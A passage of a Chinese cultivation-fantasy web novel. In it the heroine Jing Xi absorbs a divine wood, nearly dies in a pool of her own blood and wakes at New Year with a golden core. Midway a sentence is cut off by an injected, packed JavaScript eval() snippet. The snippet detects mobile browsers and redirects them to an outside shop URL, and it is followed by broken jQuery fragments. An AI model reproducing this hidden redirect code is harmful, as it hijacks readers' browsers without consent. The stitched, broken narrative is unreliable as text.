屋内束寒玉叽叽喳喳地讲述着她五湖四海游荡之事,她如何行侠仗义、扶危济困,吃了那些吃食,还拉着白染去卖艺。
她一脚踩在椅子上讲述得虎虎生风。
万碧空同景熙道:“梓归来了消息,已经出发了,大抵两日便可抵达无疆谷。”
景熙眸子一亮,又听万碧空道:“他还带着一人……”
景熙瞧她话语有犹疑,也知晓了那人是谁,问道:“萧晴?”
万碧空颔首,瞧着颇为恼了的样子,“倒也没有想到他会将萧家人带来。”
景熙拍拍她的手道:“碧空不必忧心,梓归这人重情重义,当年那一遭是我的差错。况我已见过萧晴了,人不坏,就是幼稚。”
万碧空抿唇瞧她,怎么还是这幅死德行。
束寒玉又风风火火讲道:“诶,你们听说长楚王朝那一桩牛事了没?”
万碧空:“长楚?”
景熙:“牛事?”
束寒玉点点头,一脸神秘兮兮道:“就是长楚那位皇帝暴毙了,太后懿旨说是嗑丹药嗑多了,之后扶持着小皇帝把持朝政。现在长楚那边一片骂声,但是我看她那些颁布的法令很好啊,人才取仕,农商开荒地、平抑物价啥啥的看着都是正经皇帝干出来的事。他们虽然骂,但是却不敢阳奉阴违,所以这个太后肯定是个牛人。”
万碧空闻言瞧向景熙,景熙倒是没有太大反应,只是笑着问束寒玉:“怎么,你还对法令颇有研究?”
束寒玉挠挠头,不好意思道:“感觉,感觉。不过要真说起来学没学过,好像学过似的,时间太久,有些忘了。”
大门“砰”地被推开了,白染鲤鱼打挺一样挺了进来,屁股后边一簇火熊熊燃烧:“主人,救命!”
这熟悉的气息是……幽蓝真火?
景熙无奈抬手,将这火引了过来,白染这才松了口气,抱怨道:“那祁夜依眼见打不过我,他就使阴招,他分明知道我一个鲛怕火,他还放火烧我,还是这么阴毒的火!”
束寒玉嘲笑他道:“白老弟,真变成烤鱼了。”
“我打不过你?”祁夜依一副万年不变的从容姿态,晃着扇子从门外走了进来,像是刚才一战真的是他溜着白染玩,如果忽视了他凌乱面上的尘土的话,“本尊打你都嫌脏了本尊的手。”
白染冷哼一声,“还不是被我打坑里去了,还剑尊呢,我就没看到你用过剑,怕不是这名头虚买来了的吧!”
祁夜依冷冷一笑,径直略过了白染,走向景熙:“别再这里坐着了,小景,快去修炼。”
白染一胳膊将两人隔开:“诶,离我主人远点,我主人我护着,用不着你管。”
祁夜依挑眉,连个眼神都不给白染,直撞撞瞧着景熙:“怎么,小景要不要修炼了?”
景熙起身:“嗯,我去修炼。”
白染闻言,一副受了重大伤害的表情,委委屈屈道:“主人~”
祁夜依翻了他一眼,束寒玉也
白他一眼,“阻人修炼无异于谋财害命呐。”
白染自然也知晓利害关系,只能不情不愿地看着景熙离开。
祁夜依并未跟过去,反倒一溜烟飞走,不知去了哪里。
景熙回房便进入了木簪空间,将无疆木拿出,瞧着这平平无奇的木桩感受着其间浓郁的木系灵气,深呼一口气,开始吸收。
只见无疆木稳稳漂浮在半空,幽幽地发出青绿色光芒向景熙而去。
叮哒,叮哒,叮哒……
恍若金属链条撞击的声响陡然出现在耳边,一开始缓慢、平稳,像蚊虫哼哼一般小声,后来声音越来越快、越来越响,叮哒!叮哒!
一下下直击景熙的识海,模模糊糊中她仿佛看见两条金色巨链在识海中震荡,试图击打出骇人的滔天巨浪。
炼化无疆木这等高阶异物的修真者是非常脆弱的,因为这时的他们只是在凭借身体的自然反应来运功,没有丝毫智商可言,倘若有人在这时打断景熙,她绝对会变成一个傻子。
景熙看着那在自己识海中翻云覆雨、无所顾忌的巨链,头痛得仿佛要炸了,她生气了。
巨链仿佛有神识一般,在景熙面前来回挑衅,连续几次这人都没有反应,它更加地肆无忌惮。
叮哒!叮哒!铮——巨链被一把薅住,它看过去,那个女人居然冷着脸把它往前拽。
巨链挣扎,却挣扎不出,只能任由景熙将它泡在识海中——景熙的识海是一片一望无际的大海,水天一色,漫无边际,除此之外什么都没有。
景熙将它泡在水中后,无疆木的灵气疯狂向她体内窜动,不是被动吸收,是争先恐后拼了命地向她体内钻。
她的一身灵力和皮肤承受不了这么猛烈的灵力冲击,一时之间满身开始出血,不过眨眼的功夫便成了一个血人。
识海中的景熙僵在原地,机械般地将巨链一个劲儿地往水里按,越来越难受,她以为是巨链这个异物的缘由,便越努力地按,可越努力越痛苦,气得她将一整条都甩了起来,团成一团,一口气塞进了海里。
“轰——”木簪中的景熙猛地睁眼,随即毫无生机直挺挺地倒了下去。
如果有人在半夜荒郊野岭摸她的脉搏,一定会被吓得屁滚尿流地逃窜,因为她没有脉搏。
识海中的景熙将巨链塞进去后,整个海洋突然形成巨大的漩涡,深深地将景熙吸了进去。
景熙随着它不断旋转,头发凌乱地散开,疯狂地拍打她的脸,她整个人都浮肿了一圈,面无表情的模样在深蓝色的海洋背景下显得冷峻。
景熙抱着胳膊,她眼中的世界在疯狂旋转,转动,她什么都看不清,只能看见自己凌乱舞动的头发和一片一片的模糊蓝色。
时间过得太久,久到景熙落地时腿软到一头啃在沙子里,她躺了一会。
一会后,她爬起来吐了一口沙子,抬头一看,漩涡依旧在转动,只是她在的地方是漩涡中心,这漩涡好像被定住一样,只在固定范围旋转。
景熙看得眼晕。
她在想自己怎么上去,抬手抓了抓漩涡,想爬上去,却被温柔地挡回来了,生气地拍了一下,被愤怒地推回来了。
景熙能跌坐在地上。
坐了一会。
她低头看着陪伴自己坐着的小草,抬手就要拔草。
可那草不让她拔,准确而言是树,在景熙触碰它的瞬间它陡然长出两米高,将景熙猛地拱上了天。
景熙坐在树顶,手掌托着下巴百无聊赖地看着随着它的上升而变得竖向模糊的蓝色。
这棵树经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772549|169645||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过的地方海水都会自动聚集在一起,直到它完全长出大海,整片海域再度恢复到了平静无波的沉默模样。
景熙坐在树顶一动不动,从下往上看去就像一个雕塑。
“神物都能吸收,小孩,你是个什么物件儿?”
景熙耳边响起了这么一声,她不说话。
于是那人自言自语道:“奇也怪也,我竟只瞧着你是个肉体凡胎。”他叹了口气,“倒也罢了,左右想来也是你的造化,只希望你能好生运用这神木吧。”
说完这话,这道声音便再也没有出现。
床上的景熙缓缓睁眼,忍不住抬手揉揉疲惫的脑袋,她正躺在床上,身后一片黏黏糊糊的感觉。
她坐起来看着眼前的一切忍不住蹙眉,半屋子半干不干的血发出浓重的腥臭味,床上、地上丝丝缕缕的血迹早已汇聚,染透了一片阴森气。
她的身上全部是稠浓的血,滑腻腻的一层覆盖,说不出恶心。
虽然景熙知道这是她的血,可是这太恶心了。
鞋里进了血,她只得赤着脚向外走去,脚下黏腻一片,景熙险些吐了出来,拼尽最后一丝力气推开门,景熙彻底昏倒,整个人滑了出去。
累,太累了,累得景熙不想睁开眼,只想睡到天昏地暗、海枯石烂,什么都不管不顾了。
可是……
“我说小景,你也该醒了吧,再不醒可要过年了。”
脸被人捧在手中蹂躏,景熙猛拍了一下,抓在了这人胳膊上,“祁夜依!”
祁夜依笑笑,收回了手,“你说你躺了这几日怎的不胖反瘦了呢,脸颊上都没肉了。”
景熙没理会他这不正经的话,问道:“我这是怎么了?”
祁夜依:“你还说呢,你在房内吸收那无疆木吸收了七日,那日你从门内滑出来,满屋子的血,我还以为你去见阎王了,着急忙慌给你诊脉结果发现你是睡着了,然后你又睡了五天,今天就是过年了,你要是再不气就赶不上贴春联了。”
景熙看他,不可置信道:“您老人家是专门叫我起来干活的?”
祁夜依道:“怎么能这么说呢,小景,为师这是让你热闹热闹,添点生气。”他伸手去拉景熙,“我同你说万碧空那小妞炸东西的手艺真不错,肉丸子下酒真是好吃。”
景熙忽地想起一件事来,叶梓归定然是来了!
她掀起被子就想向外走,又被祁夜依给按了回去。
“怎么了?”
“外边天寒地冻,你不穿衣服怎么成?”
景熙这才发觉自己只穿着一身里衣,下意识想从空间变出一件来,脑子一懵,忽地惊讶道:“祁夜依,我结丹了。”
内视识海,一颗金丹和一簇火苗正一左一右在树顶漂浮。
只是,这棵树……哪里来的?景熙对自己如何“驯化”无疆木之事没有一丁点印象。
祁夜依听了景熙所言,立刻伏小做低,拱手笑道:“真是恭喜景道友成功迈入金丹期。”
景熙回道:“也祝祁夜道友新年快乐。”
祁夜依拍拍手,修长的手指并在一起,说不出地养眼,“新年当穿新衣服,为师给你买的新衣服。”
话落,一身清蓝色冬服落在了床上,以及一双落在地上的雪白的毛绒绒冬靴。